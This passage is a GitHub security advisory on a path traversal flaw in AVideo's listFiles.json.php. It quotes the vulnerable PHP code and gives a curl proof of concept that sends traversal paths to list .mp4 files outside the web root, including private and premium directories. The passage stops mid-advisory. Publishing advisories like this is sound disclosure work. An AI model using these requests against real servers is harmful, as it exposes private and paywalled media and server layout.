GitHub Security Advisory: GHSA-4wmm-6qxj-fpj4
Package: wwbn/avideo (COMPOSER)
Severity: MODERATE (CVSS 4.3)
CWE: CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Vulnerable versions: <= 25.0
Patched in: 26.0

Summary: AVideo has a Path Traversal in listFiles.json.php Enables Server Filesystem Enumeration

Details:
## Summary

The `listFiles.json.php` endpoint accepts a `path` POST parameter and passes it directly to `glob()` without restricting the path to an allowed base directory. An authenticated uploader can traverse the entire server filesystem by supplying arbitrary absolute paths, enumerating `.mp4` filenames and their full absolute filesystem paths wherever they exist on the server — including locations outside the web root, such as private or premium media directories.

## Details

The vulnerable code is at `objects/listFiles.json.php:8-45`:

```php
if (!User::canUpload() || !empty($advancedCustom->doNotShowImportMP4Button)) {
    return false;
}
$global['allowed'] = ['mp4'];
// ...
if (!empty($_POST['path'])) {
    $path = $_POST['path'];
    if (substr($path, -1) !== '/') {
        $path .= "/";
    }
    if (file_exists($path)) {
        $extn = implode(",*.", $global['allowed']);
        $filesStr = "{*." . $extn . ",*." . strtolower($extn) . ",*." . strtoupper($extn) . "}";
        $video_array = glob($path . $filesStr, GLOB_BRACE);
        foreach ($video_array as $key => $value) {
            $filePath = mb_convert_encoding($value, 'UTF-8');
            // ...
            $obj->path = $filePath;  // Full absolute path returned to caller
```

The `$_POST['path']` value is used directly in `glob()` with no call to `realpath()` for normalization and no prefix check against a permitted base directory (e.g., `$global['systemRootPath'] . 'videos/'`). The response includes `obj->path` containing the full absolute filesystem path of each matched file.

The extension filter (`{*.mp4,*.mp4,*.MP4}`) limits results to `.mp4` files, which prevents reading credentials or source code but does not prevent enumeration of video files stored in access-controlled locations such as:
- Premium/paid content directories
- Private or unlisted media stores
- Backup directories containing `.mp4` files
- Paths revealing sensitive server directory structure

`canUpload` is a standard low-privilege role granted to any registered uploader; it does not imply administrative trust.

## PoC

```bash
# Step 1: Authenticate as any user with canUpload permission
# (standard uploader account)

# Step 2: Enumerate MP4 files in the web root (expected behavior)
curl -b "PHPSESSID=<session>" -X POST https://target.avideo.site/listFiles \
  -d "path=/var/www/html/videos/"
# Returns: [{"id":0,"path":"/var/www/html/videos/video1.mp4","name":"video1.mp4"}, ...]

# Step 3: Traverse outside intended directory to private content store
curl -b "PHPSESSID=<session>" -X POST https://target.avideo.site/listFiles \
  -d "path=/var/private/premium-content/"
# Returns: [{"id":0,"path":"/var/private/premium-content/paywalled-video.mp4","name":"paywalled-video.mp4"}, ...]

# Step 4: Enumerate root filesystem for any MP4 files
curl -b "PHPSESSID=<session>" -X POST https://target.avideo.site/listFiles \
  -d "path=/"
# Returns all .mp4 files visible to the web server process anywhere on disk
```

**E